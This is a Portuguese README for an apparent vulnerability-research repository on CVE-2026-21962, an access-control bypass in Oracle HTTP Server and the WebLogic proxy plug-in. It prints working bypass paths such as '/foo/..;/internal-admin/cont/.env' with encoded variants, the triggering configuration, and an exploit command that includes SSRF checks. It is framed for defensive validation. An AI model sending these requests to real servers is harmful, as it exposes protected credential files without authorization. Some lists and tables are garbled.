
PoC verificado e análise para CVE-2026-21962, uma bypass de controle de acesso no Oracle HTTP Server/WebLogic Proxy Plug-in por meio de inconsistência na normalização de URI, com script de exploit e evidências.
Uma exploração e análise reproduzida de forma independente para CVE-2026-21962 (controle de acesso inadequado, CVSS 10.0) no Oracle HTTP Server / no Oracle WebLogic Server Proxy Plug-in para Apache HTTP Server.
Status: verificado contra OHS 12.2.1.4.0 e 14.1.2.0.0 ativos em produção servindo WebLogic Server 12.2.1.4.
O front-end (OHS + mod_wl_ohs) e o backend (WebLogic) normalizam
..; de forma diferente. Uma requisição como:
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
contorna uma regra de proteção <Location /internal-admin> do front-end porque o OHS
não colapsa ..;, enquanto o WebLogic colapsa (; = parâmetro de
caminho do servlet, .. = diretório pai). O backend então serve o caminho protegido.
Resultado: bypass de controle de acesso no front-end (CWE-284).
Consulte analysis/root-cause.md.
mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)
servindo WebLogic Server 12.2.1.4.mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)
servindo WebLogic Server 12.2.1.4..env protegido):
/foo/..;/internal-admin/cont/.env/foo/..%3b/internal-admin/cont/.env/foo/..;jsessionid=xxxx/internal-admin/cont/.env/foo/%2e%2e;/internal-admin/cont/.env404), comprovando o bypass.X-ORACLE-DMS-*, comprovando que é uma resposta
genuína do backend (WebLogic).isapi_wl, afetado na
12.2.1.4.0). O mesmo mecanismo é esperado (resolução de caminho de servlet no
backend), mas não foi reproduzido no Windows.analysis/patch-analysis.md).Configuração do front-end usada (gatilho mínimo):
<Location /foo>
WLSRequest ON
WebLogicCluster <backend>:7101
</Location>
<Location /internal-admin>
ErrorDocument 404 'OHS: Disallowed location'
Redirect 404 /
</Location>
Mesma requisição, mesmo front-end, mesmo backend — apenas o tratamento de
..; no front-end é alterado.
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
| implantação | HTTP | vazou | backend alcançado |
|---|---|---|---|
| vulnerável | 200 |
Evidências brutas (requisição / resposta / logs do servidor):
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
--auto-proxy : detecta automaticamente o prefixo de proxy WLSRequest (ex.: /foo).-c : caminho protegido no backend (padrão internal-admin/cont/.env).--check LEAK|SSRF|ALL.X-ORACLE-DMS-*; a requisição
de controle (direta) deve ser bloqueada para que o veredito seja positivo.Consulte exploit/README.md para detalhes. Use apenas contra sistemas nos quais você
tem autorização para testar.
.
├── README.md este arquivo
├── exploit/
│ ├── CVE-2026-21962.py PoC verificado (verificação determinística de vazamento)
│ └── README.md
├── evidence/
│ ├── vulnerable/ request.txt, response.txt, server-log.txt
│ └── patched/ request.txt, response.txt, server-log.txt
├── analysis/
│ ├── root-cause.md análise da incompatibilidade de normalização
│ └── patch-analysis.md diff binário + A/B equivalente a patch
└── poc-factcheck.md tabela de credibilidade de PoCs públicos + detalhe por PoC
Ferramentas ativas de detecção / mapeamento (fingerprint, sonda cega, mapa de normalização)
que funcionam SEM conhecer um caminho protegido são mantidas separadamente em
../../probe/.
exploit/CVE-2026-21962.py
SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75aEste material é fornecido para pesquisa de vulnerabilidades e validação defensiva.
Não use contra sistemas sem autorização. O conteúdo do .env nas
evidências é fictício; nenhuma credencial real está incluída.
/internal-admin/...GET /foo/../internal-admin/... 200evidence/).poc-factcheck.md).| papel | componente | versão |
|---|
| front-end | Oracle HTTP Server | 12.2.1.4.0 / 14.1.2.0.0 |
| plug-in | mod_wl_ohs | 12.2.1.4 (190912) / 14.1.2 (250908) |
| backend | Oracle WebLogic Server | 12.2.1.4 |
| aplicação protegida | /internal-admin/cont/.env (credenciais fictícias) | — |
sim (credenciais .env) |
sim (X-ORACLE-DMS-*) |
| corrigida (normalização corrigida) | 404 | não | não |